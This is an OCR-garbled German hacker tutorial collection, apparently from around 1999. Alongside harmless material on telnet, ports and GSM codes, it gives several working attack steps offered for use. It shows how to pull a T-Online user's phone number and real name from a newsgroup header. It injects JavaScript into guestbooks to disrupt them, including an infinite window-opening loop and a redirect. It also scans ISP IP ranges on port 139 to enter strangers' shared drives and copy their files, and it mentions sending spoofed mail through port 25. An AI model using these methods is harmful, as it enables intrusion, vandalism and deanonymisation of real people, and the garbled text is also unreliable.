Thema wie lese ich einen E-Mail Header... Ich gehe jetzt mal davon aus, das
i hr euch eine Nachricht anschaut, und euch sofort den Header dazu holt.

Nun aber zurick zum eigentlichen Thema: Was bedeuten all diese Zeilen ???
Um es euch zu erkl aren, das ganze nochei nmal: From Vegbar Fubar

fooha@fi . foobar.no

- hier findet ihr Informationen Uber den Absender der E-Mail w e
ei ngetragenen Namen im Mail Programm sowi e die E-Mail Adresse Date:
Fri, 11 Apr 1997 18:09:53 GVI

- in dieser Zeile findet ihr das Datumund die Uhrzeit, wann die Mil
abgeschi ckt wurde To: hacker @ echbr oker. com

- in dieser Zeile seht ihr, an wen die E-Mail gerichtet ist (hier seht
ihr nur die E-Mail Adresse, keinen Benutzernanen !!!) Received: by
0200. f ooway. net (950413. SAE . 8.6.12/951211. SG) for techbr @ooway. net
id OAA07210; Fri, 11 Apr 1997 14:10:06 -0400

- hier findet ihr Informationen dariber, von wel chen POP Server ihr
euch die E-Mail geholt habt, das ware in diesem Fall 0200.fooway. net,
wel che Mail software auf dem Server aktiv ist (inkl.Versionsnumer),
das Datumund die Uhrzeit Received: fromifi.foobar.no by
0200. f ooway. net via ESMIP (950413.Sd.8.6.12/951211.Sd) for
<hacker @ echbr oker. con> id OAA18967; Fri, 11 Apr 1997 14:09: 58 -0400
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- hier findet ihr den Conputernanmen (ifi.foobar.bo) der die Mail an den
Server geschickt hat (0200.fooway.net) und an wen die E-Mai
adressiert ist Received: fromgyllir.ifi.foobar.no
2234@yl lir.ifi.foobar.no [129.133.64.230]) by ifi.foobar.no with
ESMIP (8.6.11/ifi2.4) id <UAA24351@fi.foobar.no> for
<hacker @ echbroker.conm> ; Fri, 11 Apr 1997 20: 09: 56 +0200

- diese Zeile enthéalt, das der Conputer ifi.foobar.no die E-Mail von
ei nem anderen Conputer (gyllir.ifi.foobar.no) erhalten hat nach dem
Conput ernanen gyllir.ifi.foobar.no findet ihr eine |P Adresse
129. 133. 64. 230 aber warum findet ihr nach ifi.foobar.no keine ??? um
di eses Phénomen zu | 8sen gehen wir wie folgt vor

macht ei nen NSLOOKUP (bekommt ihr dberall als Progranm auf ifi.foobar.no
die Antwort sollte so aussehen

Server: Fubarino. com

Address: 198.6.71.10

Non-aut horitative answer:

Name: i fi.foobar.no

Address: 129.133.64.2

Aber was soll uns das sagen ???

Ganz einfach, der Conputer ifi.foobar.no hat sich nmt dem Server

Fubari no. com ver bunden und von dort aus die E-Miil geschi ckt

Aber warum ei nnal .no und einmal .com ??? Ebenfalls ganz einfach: der
Conputer ifi.foobar.no scheint ein Norwegi scher Conputer zu sein, der sich
mt dem ameri kani schen Server verbunden hat umvon dort aus die Mail zu
schi cken From Vegbar Fubar fooha@fi.foobar. no

hi er kénnen wir erkennen, das der Absender der E-Miil "Vegbar Fubar" i st
(jedenfalls hat er sein Ml programm darauf eingerichtet) und das die
Absender adresse "fppha.ifi.foobar.no" ist Received: fromlocal host
(Vegbarha@ocal host) by gyllir.ifi.foobar.no ; Fri, 11 Apr 1997 18: 09: 53
GMI' Der Conputer "gyllir.ifi.foobar.no" hat die E-Miil von "Local host"
(ei nem | okal en Rechner) erreicht diesen Conputer kénnen wir per Tel net
abfragen, um zu sehen wel ches System der Conputer betreibt telnet
gyllir.ifi.foobar.no

ebenfalls sehen wir hier ein Datumund eine Unrzeit, welche besagt wann der
Conputer die E-Mail erreicht hat Date: Fri, 11 Apr 1997 18:09: 53 GVI

hi er erkennen wir, das Datumund die Uhrzeit, wann uns die E-Miil erreicht
hat Message-1d: <199704111809. 13156.gyllir@fi.foobar. no>

aus der Message | D kdnnen wir das Datum (1997 April 11) entnehnen und die
Zeit (1809=18:09 Unhr) und 13156 identifiziert denjenigen

der die E-Mail abgeschickt hat (dies findet nur aus Sicherheitsgrinden des
Mai | - Servers statt) To: hacker @echbroker.com

in der letzten Zeile des Headers sehen wir unsere eigene E-Mil Adesse,
d. h. wel che Enpféangeradresse der Absender eingetragen hat |Ich hoffe euch
weni gst ens etwas gehol fen zu haben, auch wenn vielleicht nicht jeder unter
euch alles verstanden hat :-(

Solltet ihr Fragen haben, so schickt nir einfach eine E-Miil :-) hehehe
Ebenso ist es, wenn ihr Nachrichten in Newsgroups lest. Dort findet ihr
hauf enwei se Nachri cht en.
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Ei n Header aus ei ner Newsgroup sieht so aus:

Pat h:

newsf eed00. bt x. dt ag. de! newsf eed01. bt x. dt ag. de! newsnmDO0. bt x. dt ag. de! news. bt x
.dt ag. de! not -for-nmi |

From WATCher242@-online.de (Sweety)

Newsgr oups: z-netz.alt. binaer. hackreport

Subj ect: Web-Site

Date: Wed, 17 Feb 1999 17:52:22 +0100

Lines: 8

Message- | D <36CAF3C6. 1AA0456A@i nf oseek. conp

M me-Version: 1.0

Cont ent - Type: text/plain; charset=iso-8859-1

Cont ent - Transf er- Encodi ng: 8bi t

X-Trace: news04. bt x. dt ag. de 919270405 11445 0565131190-0001 990217 16:53: 25
X- Conpl ai nt s- To: abuse@-online. de

X- Sender: 0565131190- 0001@ - onl i ne. de

X-Mailer: Mzilla 4.5 [de] CCCK- MCD QXW)3207 (Wn98; 1I)

X- Accept - Language: de, en

Xref: news. btx.dtag.de z-netz.alt.binaer.hackreport: 1548

H er aus dem Header kdnnen wir ebenfalls hilfreiche Infornmationen

ent nehnen:

Pat h: hi er steht von wo aus die Nachricht in der Newsgroup kam

From hier steht die E-Mail Adresse des Absenders & den Nanen, den die

Per son benut zt

Newsgroups: hier steht, in welchen Newsgroups die Nachricht plaziert wurde
Subj ect: hier steht der Betreff der Nachricht, wie ihr sie in der NG

vor fi ndet

Dat e: hi er steht das Datum an dem die Nachricht in die NG geschrieben

wor den i st

Li nes: hier steht wieviele Zeilen die Nachricht enthalt

Message- |1 D: hi er steht nixxx wi chtiges

M me- Ver si on: hi er steht

Cont ent - Type: hi er steht

Cont ent - Tr ansf er - Encodi ng: hi er st eht

X-Trace: hier steht der News Server der Nachricht, die Message |ID, das Datum
und evtl. Rufnummrer

X- Conpl ai nts-To: hi er steht

X-Sender: hier steht die E-Mail Adresse des Senders (Vielleicht auch die
Tel ef onnuner ??7?)

X-Mail er: hier steht wel ches Progranm die Person zum mailen nimt, und

wel ches Betri ebssystem er nutzt

X- Accept - Language: hi er steht die von der Person akzeptierten Sprachen
Xref:hier steht in welcher NG die Nachricht gelandet ist Eine Art von
besondere Nachricht ist die, die von jemandem geschickt wird, der bei T-
Online ist, denn bei ihnen kdnnt

i hr euch ganz einfach i m Header die Tel efonnunmer raussuchen, diese dann
auch noch eventuell abfragen

(Klicktel, D-Info)...voila, ihr habt den real en Namen di eser Person :-)
Und wo steht die Tel efonnunmrer fragt ihr euch sicher jetzt ?? Ganz einfach,
schaut euch den Header an und sucht in diesem

nach fol gender Zeile: X-Sender: 0565131190-0001@-online.de Wenn ihr nein
Tutorial UGber >T-Online Zugangsdaten ei ner Webpage< gel esen habt, dann

W sst i hr wohl wie man jetzt vorgeht.

Solltet ihr ihn nicht gel esen haben, will ich es euch hier noch einnal
zeigen. Nehnt den X-Sender (in diesem Fall 0565131190-0001@ -online.de) der
T-Online Nachricht, denkt euch alles weg ab -0001@-online. de

Nun erhaltet ihr die gesuchte Rufnummer des Verfassers der Nachricht ==>
0565131190 :-) Wenn ihr checken wollt ob diese Person ei ne Honepage
hat, versucht einfach fol gendes:
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das wére in diesem Fall die 0565131190
Di e vol |l stéandi ge URL der Person | autet dann:

I nformati onen zu erhalten. So, das war es auch schon w eder aus der
digitalen Welt, die wohl nur manche Leute zu verstehen w ssen :-)

Di eses Tutorial erschien mr als sehr wichtig und gleichzeitig als sehr
erschreckend, was man fiur I nformati onen aus Headern

ent nehnen kann.

So, dann winsche ich euch viel Erfolg beimLesen der Header :-)

WAs i st Uberhaupt ein Port:

Vi el e Leute schrei ben von Ports und man kann schon

in jedem Forum vi el Uber diese horen.

Bl oss was sind Uberhaupt Ports? Man kann sich seinen Conputer wie ein
grosses Blro

vorstellen. Imer wenn jemand von ausserhal b an

di esem Biro etwas bestimtes nachfragt, wird er in

ei ne gew sse Abteil ung geschi ckt.

Und so ist das bei dem Conputer und den Ports genauso.

Das konplette Biro ist der Conputer. Die Anschrift

dessen i st seine | P Adresse.

Wenn man nun | nformationen dber die Einrichtung will,

ruft man i m passenden Biro an: Bei m Conputer entspricht

di es einer Anfrage an Port 80 [HTTP] am Server. Dann

bekonmt man Infos in Formvon [HTM.-] Wbseiten.

Wenn man von dem Buro jedoch Infomaterial will, dann

fragt man an Port 21 an; dem Port fir FTP Di enste.

So kann ein Server nehrere Dienste [Biros nmit ver-

schi edenen Abteil ungen] anbi eten, an denen nan nach-

fragen kann. Ebenso kann ein Biro aber auch einen speziellen D enst
sperren. Imreal en Leben wirde die ei nem "das machen wr

ni cht" entsprechen.

Der Port ist dann nicht zu erreichen, was unter anderem
dem M ssbrauch vorbeugen soll.

Ebenso kann man nit ei nem unpassendem Anliegen in der

fal schen Abteilung aufwarten. Das entsprache dann "daf ir
sind wir nicht zustandig". Dies kann passieren, wenn ein

Di enst unabsichtlich amfal schen Port anfragt oder nan
absichtlich per Tel net an einem Ports connectiert, der

di e Anfrage nicht handeln kann. Ein Portscan Uberprift jeden Port auf seine
Bereitschaft.

Ei n Desktop PC hat nicht viele Ports offen: Dienste wie
HTTP, FTP, ... sind neistends bereit; Dienste wi e Tel net-
Server bieten nmeist nur Server mt einem Nutzen fir

sol che Renpte Optionen. "Portsurfing"” ist nun eine Methode wie nman sich per
Tel net

auf andere Server schaltet, umDi e D enste direkt anzu-
sprechen. So kann man z.B. per "tel net post.yourisp.de 25"
ei ne Ver bi ndung zum Net zwer ksyst em post . youri sp. de am Port
Nunmer 25 versuchen. Port 25 ist der Port, der fir SMIP

Mai | ver sand zustandi g ist.

Di es ernmbglicht es dann auch anonym Mails mit beliebigen
Absender zu verschi cken.

Fir eine Finger-Abfrage an ei nem Server durchzuf ihren, nuss
man ni cht i nmmer einen Finger Befehl oder -Tool auf seinem
Rechner installiert haben. Ein Connectieren am Server auf
dem Fi ngerport 79 schafft genauso Kl arheit, wie ein Tool,
das dort nachfragt. Die gangi gen Betriebssystene wie W n9x
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haben st andardmissi g sow eso kei n Fi ngert ool

Wenn der Server auf die Anfrage reagiert, dann reicht es
nmei stends aus, wenn nman di e Anfrage per "finger @erver.de"
stellt, umalle Benutzer aufgelistet zu bekomren oder
einfach nur Returntaste betéatigt. Eine Liste der gangigsten Ports ist an
den Text angehéangt:

9Di scard

15Net st at

19Char gen

21FTP

23Tel Net

25Snt p

39RLP

53Nuke

67Boot

79Fi nger

80HTTP

87Li nK

110PCP3

113l dent

119Nnt p

129Nuke / Net bi os

137Nuke / Net bi os

138Nuke / Netbi os

139Nuke / Net bi os

513Login

515Pki | |

533Net wal |

560RnDNI t or

561Moni t or

1080Fi rewal | Port

5580m | . Http

8080Ht tp|mil.Htp Proxy

31337Back Orifice Login

Gist ebucher mt htm Unterstitzung unbrauchbar machen:

Sobal d ein Gastebuch nam i ch HTM.- Tags unterstitzt, kann man hier viele

I nteressante Funktionen ei nbauen. So kann nman zum Bei spi el schon mal

Gist ebicher nit Antibildern besticken. Wer jetzt sagt, dass das ja wohl

ni chts neues ist, der hat wohl recht, aber durch das ei nbauen von Bildern
wer den ei nem ei ne rei he anderer Funktionen erdffnet, die soweit gehen, dass
man das GB dadurch unbrauchbar nacht.

Er kl & ung der funktionalitat:

Der Schlissel liegt in Java Script, dass die GB nit denen ichs probiert
habe alle unterstitzen. Man figt nun nit dem Tag <ing src="bild.jpg"> ein
Stinknornmal es Bild ein. Dieses Tag kann man dann nit Java Script erweitern
<ing src="bild.jpg" onload="alert ('DIES I ST EIN SCHEI SS GB');"> Schon m t
di esem Tag, springt wenn das Bild fertig geladen ist eine nervige Dial oghox
auf nmt demlinhalt:"DIES I ST EIN SCHEISS GB" Mt: <ing src="bild.jpg"

onl oad="w ndow. open ('open.htm, 'HAIlo', 'w dth=300, hei ght=200");"> wird
ein neues Fenster nmit dem HTM.-Fil e open. ht m ge6ffnet. (Annerkung: so kann
man i deal werbebanner fir seine eigene Site in Gisteblcher einbringen *g*)

So ab hier nur noch eine Kurzreferenz nmt einigen |lustigen Funktionen

Ei nige der Scriptz funzen nur nmit Netscape sie sind mt >>NS<<

gekennzei chnet. Bewertung mit Sternchen nach fiesheit: <ing src="bild.jpg"
onl coad="for (a=0; a<l; a--){w ndow. open(' guestbook.htm)}"> **** Die Date
nach wi ndow. open (guestbook. htm fir die extra-Lanmer *g*) nuss die HTM-
Dat ei des Gastebuches sein. (Dadurch steigt die Effizienz des Tricks)
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W rkung: Durch die endlos-Schleife wird unendlich oft die Date

guest book. ht m getf f net. Kann dazu fihren, das der Conputer Uberlastet wrd.
<img src="bild.jpg" onload="w ndow. | ocation="datei.htm "> *** datei.htm
kann irgendeine Datei sein. NS Wrkung: Das GB wird bei Netscape
unbrauchbar, da i mer wenn das Bild fertig geladen ist, eine andere Date
statt der des GGaistebuchs angezeigt wird. Allerdings funzt das nur be

Net scape, beimIE kann man ei nfach auf Zurick klicken und man ist im

die nicht gibt wird eine Seite angezeigt. Dies funktioniert, denke ich be
vielen GBz, da die grollen Hoster wie Geocities oder so inmmer eine
Standartseite augeben, falls eine Seite nicht gefunden w rd. Ei ngabefel der
vol | schrei ben ** Di ese Methode habe ich sel ber noch nicht ausprobiert. Sie
erfordert ein wenig Kenntnisse in HTM. und funktioniert wahrscheinlich auch
nur wenn di e Eingabefelder auf der gleichen Seite wie die GB-Eintrage sind.
Wenn das der Fall ist, nuss nman sich den Quell code angucken und di e Nane-
Attribute der Eingabefelder merken, aufschreiben (ist mr eigentlich
wurscht). Dann kann man den fol genden HTM.- Tag nach bel i eben nodifi zi eren
<ing src="bild.jpg"

onl oad="w ndow. docunent . f or nul ar nane. f el dnane. val ue=' Laner' "> Erkl &ar ung:
formul arnane nuss ersetzt werden, durch den Wert, der imQelltext im Tag
<Form nanme="bsp"> steht. Bei diesem Beispiel ware das "bsp" (ohne

Anf ihungszei chen). Mt den feldnamen verhdlt es sich genauso:

bei <input type=text nane="abcde"> (type=text steht nicht inmrer da) ist der
fel dnane "abcde" (auch hier w eder ohne Anfirungszeichen). Mt .value kann
man dem Fel d dann einen Wert zuwei sen. In diesem speziellen Fall bedeutet
das: Das Ei ngabefeld fel dnane i m Formul ar formul arname bekonmt den Wert
Lanmer zugew esen. So kann nan erreichen, dass als Standartnane ein

bel i ebi ger wert dasteht. <ing src="bild.jpg" onl oad="w ndow. status="Alle
besucher dieser Seite sind Scheisse' "> * Unten in der Satuszeile wr der
Text hinter dem d ei chheitszei chen ausgegeben. Mehr fallt mr i m Mnent
nich ein aber ich denke, dass man noch viel nehr machen kann -

Bei spi el sweise mit DI V-Tags und DHTM., darauf mnbchte ich aber jetzt nicht
ei ngehen. Ich hoffe nein 1. Tutor war nicht zu langweilig, oder zu
unver st andl i ch.

OChne Trojaner mt anderen Conputern verbi nden:

Bendti gt wrd:

-1 P- Scanner

-Zeit Wenn i hr Dateien oder Festplatten von frenden Rechner ansehen wollt,
dann nuss der Frendrechner Freigabe aktiviert haben.Um dies zu Testen
benutzt ihr einen |p-Scanner danit scannt ihr z.b T-Online

von 62.158.1.1 bis 62.158. 255. 255 auf dem Port 139 ab

I hr misst naturlich nicht scannen, ihr kénnt auch |p-Adressem

von Leuten aus eurer z.b 1CQ Liste testen. Habt ihr nun einige

| p- Adressen gefunden z.B 62. 158.5. 134 dann kopiert ihr diese

Adresse und fugt sie in Ausfihren (Start->Ausfihren) ein.

Vor die |Ip-Adresse setzt ihr diese Beiden Schrégstriche \\ dann

konmt die I p Adresse in unserem Bei spi el nuss es dann wi e fol gt

aussehen: \\62.158.5.134 So und nun koénnt ihr auf OK Kklicken.

Fal I s der Rechner Freigabe aktiviert hat 6ffnet sich nun der

Explorer und i hr seht seine Festplatten oder Dateien(Falls nicht erhaltet
i hr eine Fehl ernel dung) .1 hr kénnt euch nun alle w chtigen

Dat ei en herunter laden in demihr sie einfach auf euren Desktop verschiebt.
Wchtig: Bevor ihr anfangt euch mt dem Frendrechner zu connecten schaltet
eure Firewall aus sonst kann es zu Probl emen fihren
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Sni ffer und deren Gefahrlichkeit:

Sniffer sind Programme di e Dat enpaket e abfangen. Netzwerk-Admi ni stratoren
kénnen sie zur Uberprifung der Dateniuibertragung verwenden. Wenn irgendwo in
ei nem Net zwer k di e Dat entibertragung schl echter als normal funktioniert kann
der Admin einen Sniffer einsetzen. Gder wenn ein Rechner bei m booten
vielleicht das Netzwerk | ahm egt kann ein Sniffer eingesetz werden. Das
sind allerdings die harm osesten Methoden einen Sniffer einzusetzen. Ot
werden sie benutzt uman wichtige Informationen, wie z.B. an Passwdrter zu
gel angen. Sniffer werden neistens nicht bermerkt und kénnen auch nur schwer
gef unden werden und wenn man sie doch zuféllig findet ist es oft schon zu
spat. Der Rechner, der fir die Attacke verwendet wird, sendet keine Daten
an das Netzwerk, sondern zeichnet nur di e Datenpakete auf, die auf dem

ei genen Net zwer kadapt er ankonmen. Dabei werden auch Dat enpakete
protokoliert, die nicht fiur den Rechner gedacht sind. So kann man |eicht
Passworter herausbekonmen, indem man di e Aufzei chnungen genau anal ysiert.
So einfach wi e man denkt ist es aber dann doch nicht! Man sollte schon
etwas Uber Sniffer und Netzwerke w ssen. Aullerdemist es w chtig, den
Sniffer so zu konfigurien, dass er nur die Datenpakete abfangt, die fir
einen niatzlich sind. Tut man das nicht und der Sniffer fangt alle

Dat enpaket e ab, nuss die eigene Festplatte bald wegen Uberfillung
schlieRen. Es reicht, den Sniffer so zu konfigurieren, dass er nur die
ersten hundert bis drei hundert Byte abfangt. In den ersten paar Zeilen
steht namich neistens das passwort und der Usernane, was den neisten
Crackern aber auch genugt. Allerdings kann man nit einem Sniffer auch an
andere wichtige Informationen komen, doch dazu braucht nan schon ei ne
grofRe Festpl attenkapazitat! Jetzt stellt sich aber die Frage, wie nan sich
gegen Sniffer wehren kann. Die Antwort ist sinpel und schl echt zugleich
Man kann einerseits versuchen Snifer zu finden, was man ohne G und aber
wohl kaum macht oder man kann seine Daten geziehlt gegen Sniffer schitzen
Wchtig ist, die Daten i mer verschl isselt zu versenden! So hat man nicht
vi el davon, es sei denn, dass sie dernafen schl echt verschl isselt sind,
doch das sollte eigentlich nicht vorkonmen! Es gi bt aber auch ein paar
Programme, die Sniffer auspliren kénnen. Dennoch ist die Gefahr, die von
Sni ffern ausgeht sehr hoch! Richtig dagegen sichern kann sich wohl keiner
doch mit einer guten Verschl isselung der Daten ist schon mal einiges getan

Tel net :

Was ist eigentlich Tel net:

Tel net ist eine Funktion, die es erlaubt Uber das Internet (oder ein

Net zwer k) auf ei nem UNI X- Rechner zu arbeiten. Dabei werden die Daten der
Tast at ur ei ngabe und der Bil dschirmausgabe jeweils von dem Rechner an dem
man physi kalisch arbeitet (local host) zu dem entfernten Rechner auf den
man zugreift (renote host) und ander sherum lbertragen

Da di e Ubertragung tastenwei se bzw. zei chenwei se erfol gt, kann es bei einer
sehr | angsanen | nternet-Verbi ndung schon ei nmal vorkonmren, dal man die

Bef ehl e, di e nan ei ngegeben hat, erst nach einer Mnute auf dem Bildschirm
sieht. Bei einer guten Verbindung werden Sie jedoch keine zeitliche

Ver zégerung feststellen. Sie koénnen nit dem Rechner (z.B. dem Ubungsrechner
brunello.tsmnusin.de) so arbeiten, als wirden Sie direkt davor sitzen

We kann ich m ch einloggen

Al'les was Sie daflir brauchen ist ein Telnet-dient (Telnet-Program,

wel ches eigentlich jedem Betriebssystem beiliegt. Suchen Sie auf |hrer
Festplatte einfach nach telnet und starten Sie das Programm Sie haben
jetzt entweder dber ein Pulldown-Meni die Miglichkeit eine Verbindung zu

ei nem Rechner herzustell en, dazu nissen Sie bei renpte host den gewlinschten
Rechner angeben (z.B. brunello.tsmnusin.de). COder ihr telnet-Progranmi st
nur textbasiert, dann kdénnen Sie mt dem Befehl open brunello.tsm nusin. de
ei ne Ver bi ndung zu dem Rechner auf bauen
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Wenn die Darstellung nicht korrekt |&auft, dann Uberprifen Sie die Terninal -
Emul ation. Sie nuR auf VT 100 stehen.

Was folgt, ist eine ganz norrmal e Annel deroutine nmit Login (hier geben Sie

I hren User ein) und Passwortabfrage (diese erfol gt verdeckt, also auf dem
Bi | dschi rm unsi chtbar). Ausl oggen kénnen Sie sich nit dem Befehl exit.

Wenn es nicht so richtig funktioniert:

Je nachdemwi e gut die Telnet-Software ist, die Sie verwenden, werden alle
Tast at ur f unkti onen auch korrekt Ubertragen

Am unangenehnsten i st es, wenn di e Backspace-Taste nur kryptische

Zei chenfol gen ausgi bt, anstatt das | etzte ei ngegebene Zei chen zu | 6schen
Haufig hilft es, wenn man di e Tastenkonbi nation Strg + Backspace verwendet.
Di e Tastaturfunktionen | assen sich bei den neisten Programen in den

Ei nstell ungen auch genauer definieren. Wenn die Internet-Verbindung

schl echt ist (sie geht ja manchnal Uber nehr als 20 Rechner), kann es sein,
daB di e gedrickten Tasten erst nach einer ganzen Wil e auf dem Bil dschirm
erschei nen. Di e eingegebenen Befehle gehen zwar eigentlich nie verloren
aber gerade beimEditieren eines Textes kann di ese Zeitverzdgerung sehr

| &stig werden. Al's Losung gibt es zwei Mglichkeiten: erstens, Sie |oggen
sich zu einem anderen Zeitpunkt ein (ab 20:00 Unhr ist das Internet imallg.
schnel | genug); zweitens, Sie wahlen sich per Mbdemdirekt in brunello ein.
Letzteres wird genauer in Mddul 2 (Renpte Login) beschrieben

Di verse GSM Codes:

Wer die eine oder andere Einstellung seines Handys andern nichte, aber

kei ne Lust hat, minutenlang in den Menu-Abgrinden herunzusuchen, fi ndet

hi er di e passenden Divert-Codes oder auch MM - Sequenzen genannt (nan-

machi ne-interface). Diese sind i m GSM St andard vorgesehen und niif3t en
deshalb in allen deutschen Netzen (D1, D2, E-plus und E2) funktionieren
Vor ausgeset zt, der Netzbetrei ber hat das jeweilige Feature Uberhaupt schon
freigeschaltet. Nach dem Ei ngeben eines jeden Befehls nuf3 di e Senden-Taste
gedrickt werden, als ware es eine ganz nornal e Tel ef onnumrer. Jeder Code
best eht aus ei nem Anf angscode, gefol gt von dem ei ngentlichen Befehl scode,
evtl. einemoder nmehreren Argunenten und einer # als Endkennung des

Bef ehl s. Code-Ei nl ei tung

Code Funktion Anmerkung

** oder * einschalten * = "activate"

** = "register"

## oder # ausschalten #
## = "deregister”

*# abfragen ("inquire/status")

Bef ehl scodes

Code Funktion Anmer kung

ei n/ aktiv aus abfragen

002 alle Unleitungen  ##002#

004 alle bedi ngten Un eitungen (besetzt, nicht erreichbar, N chtannahne)
##004#

03 PalBwort fir Sperren adndern **03*330*altes PWneues PWneues PW

04 PIN andern **04*al te Pi n*fneue Pin*neue Pin#

042 zweite PIN a&ndern **042*alte Pin2*neue Pin2*neue Pin2#
Phasel | - Merkmal , benéti gt auch Phasell-SIM

05 PIN mittels PUK neu setzen **05* PUK*neue Pi n*neue Pin#

052 zweite PIN mttels PUK neu setzen **052* PUK*neue Pi n2*neue Pin2#
Phasel | - Merknmal , bendttigt auch Phasell-SIM

06 Ceratenumer | MElI (International Mobile Equipnent Identifier) * #064#
Ger at ebef ehl !

21 Ureiten aller Rufe

[Hi nweis: Hier besteht ein Unterschied zw schen De-) Aktivierung (** bzw
##) und (De-)Registrierung (* bzw #). ** registriert und aktiviert die

"deacti vate",
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Ur ei tung, die dann einfach per #21# deaktiviert bzw. mt *21# reaktiviert
werden kann.] **21*Ruf nummer# (ein und aktiv)

*21# (aktiv) ##21# (aus)

#21# (inaktiv) *#21#

Ei nschalten der alten Umeitung: **21#

(selten inplenentiert)

ei gene Mail box aus (Eplus): **21*ei geneNunmer O#

30 (calling line identification presentation, CLIP)

W1l ich als Angerufener die Numer des Anrufers angezei gt bekonmen? *30#
#30# *#30#

Nunmer ausnahnswei se ni cht anzei gen

*#30#Ruf nummer #

31 (calling Iine identification restriction, CLIR):

WIl ich als Anrufer, dal der Angerufene neine Nummer angezei gt bekomt ?
*31# #31# *#31#

Nunmer fir einen Anruf Ubermitteln / nicht Ubermitteln:

*#31#Ruf nummer # bzw. #31#Ruf nunmmer #

bendti gt "SO CLI R'-Berechti gung

33 Sperren abgehender Gespréache **33* PW¢ #33* PW¢ *#33#

330 all e Anrufsperren (abgehend und ankomrend) **330* PW¢ #330* PW¢ *#330#
331 Sperren abgehender Ausl andsgesprache **331* PW¢ #331* PWt *#331#

332 Sperren abgehender Ausl andsgesprache nit Ausnahne von Gespréachen ans
ei gene Netz **332*PW¢ #332* PWt *#332#

333 Sperren all er abgehender Gespréche **333* PW¢ #333* PW¢ *#333#

selten inplenentiert

35 Sperren ankonmmender Anrufe **35* PWt #35* PWt * #35#

351 Sperren ankommender Anrufe bei Aufenthalt in anderen Netzen (= be
Ausl andsauf ent hal t en) **351* PW¢ #351* PW¢ *#351#

353 Sperren all er ankonmmrender Gesprache **353* PW¢ #353* PW¢ *#353#
selten inplenentiert

43 Ankl opfen *43# #43# *#43#

bendtigt "call waiting"-Berechtigung

Fol gende Sequenzen sind bei | aufendem Gespréach noglich

0 [ SEND] Gehal tenen Anruf beenden oder ankl opfenden Anrufer abweisen

1 [ SEND] Laufender Anruf beenden UND ankl opfender oder wartenden Anruf
Uber nehnen

1X [ SEND] Gezielt den Anruf X beenden (auch bei Konferenz). (Beispiel
Anruf Nr. 3 beenden: 13 [ SEND])

2 [SEND] Aktiven Anruf parken UND neuen oder wartenden Anrufer hol en

2X [ SEND] Gezielten den Anruf X parken und neuen Anruf starten (Bei spiel
Anruf Nr. 4 parken: 24 [SEND])

3 [ SEND] Gehal tenen Anruf in |aufende Unterhaltung ei nzubi nden (zur

Konf erenz dazuhol en)

XXX [ SEND] Neues Gesréach begi nnen und | auf endes Gesprach parken (XXX i st
di e gewlinscht e Ruf nunmer)

[END] Alle Anrufer (auBer ankl opfender Anruf) beenden

Wchtiger Hi nweis: D e Konferenz-Funktionen (nehr als 2 Gesprachsteil nehmer
auf einmal) werden nicht in allen Netzen oder Vertragen angeboten!

Es sind teilweise erhebliche Aufpreise zu erwarten.

61 ni cht angenomrene Anrufe uml eiten

[siehe H nweis bei 21] **61*Ruf numrer# (ein und aktiv)

*61# (aktiv) ##61# (aus)

#61# (inaktiv) *#61#

Unr eitung auf Mail box aus: **61*ei geneNunmer O#

62 U eiten, wenn nicht erreichbar

[siehe H nweis bei 21] **62*Ruf numrer# (ein und aktiv)

*62# (aktiv) ##62# (aus)

#62# (inaktiv) *#62#

Ei nschalten der alten Unmeitung: **62#

(selten inplenmentiert)

U ei tung auf Mail box aus: **62*ei geneNunmer O#

67 Unl eiten, wenn Anschl ull beset zt

[siehe H nweis bei 21] **67*Ruf nummer# (ein und aktiv)
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*67# (aktiv) ##67# (aus)

#67# (inaktiv) *#67#

Ei nschalten der alten Umeitung: **67#

(selten inplenmentiert)

Unr ei tung auf Mail box aus: **67*ei geneNunmer O#

76 (connected line identification presentation, COLP)

WIl ich als Anrufer sehen, unter welcher Nummer ich den Angerufenen
errei cht habe?

(N.B.: Es gibt ja Rufum eitungen...) *76# #76# *#76#

77 (connected line identification restriction, COLR)

WIIl ich als Angerufener, daR der Anrufer sieht, unter welcher Numer er
m ch erreicht hat?

(N.B.: Auch ich sel ber kann Rufuml eitungen geschaltet haben!) *77# #77#
*#77# Tip: Di e Codesequenzen | assen sich oftmals auch sinnvoll komnbini eren
Wer bei spi el sweise i mU | aub sei ne Ruhe haben und auch verneiden will, dal
i hmunter chronischer Telefonitis |eidende Zeitgenossen die Mil box

vol | quassel n, der schaltet sie einfach fiur "N chterreichbarkeit” und "keine
Ruf annahne” ab (al so per **62*ei geneNummer 0# und **61*ei geneNunmmer 0# )
N.B.: I m Gegensatz zur **21*ei geneNunmer 0# kommt der Anruf inmer noch
"durch", d.h.: Es klingelt und man kann anhand der angezei gt en Numrer

ent schei den, ob man i hn ausnahnswei se anni mt oder nicht. Imletzteren Fal
ert 6nt nach dem 5. Kl i ngel zei chen ei n Beset zt zei chen. Ti p: Haufi g gebrauchte
Codesequenzen kann und sollte man sich i m Nunmer nspei cher des Handys

abl egen, wenn das Mbiltel efon Uber Kurzwahltasten verfigt, um so besser!
Zukunftig wird man nmittels der fol genden Di enst ekennungen ei nzel ne
Gesprachsarten sel ektiv beei nflussen kénnen. Dazu wird die entsprechende
Di enst ekennung vor das abschliefRende # in den MM - Bef ehl eingefigt.

Bei spi el swei se wiirde di e Sequenz **21*Ruf nummer *13# all e Faxe (und nur

di ese!) an die genannte Ruf nummer unl eiten. D enstkennungen

10 all e Tel edi enste

11 Sprachdi enste

12 Dat endi enste

13 Fax

14 Dat ex-J

15 Tel et ex

16 Kurzmitteilungen (SMS)

18 all e Datendi enste auler Kurzmitteil ungen

19 alle Tel edienste aulBer Kurzmitteil ungen

20 alle Dienste

21 alle Asynchrondi enste

22 alle Synchrondienste

23 3, 1kHz- Mobi | f unkdi enst e

24 synchrone Punkt-zu- Punkt ver bi ndungen inkl. PADs

25 asynchrone Punkt - zu- Punkt ver bi ndungen i nkl. PADs

26 Dat enpaketverm ttlungi nkl. PADs

27 Dienste mt PAD Beteiligung

29 Digital bertragung mt 12kbps Auch fir SM5 gi bt es Kennungen fur
eventuel I e Unset zungen durch Gateways. Meines Wssens nach sind die

Gat eways noch nicht in Betrieb. Kennungen fur SM5

0 St andard- SM5

33 Telex / Tel etex

34 Fax G uppe 3

35 Fax G uppe 4

36 Sprachunset zung

37 Ernes

38 Pagi ng

49 X. 400 (E-Mail) Viele Mbiltel fone sind inzwi schen in der Lage, SMs-

Br oadcast - Nachri chten zu enpfangen. Hierbei handelt es sich um SM5 an alle
Mobi | tel efone in der jeweiligen Funkzelle. Mannesmann Mobil funk (D2)
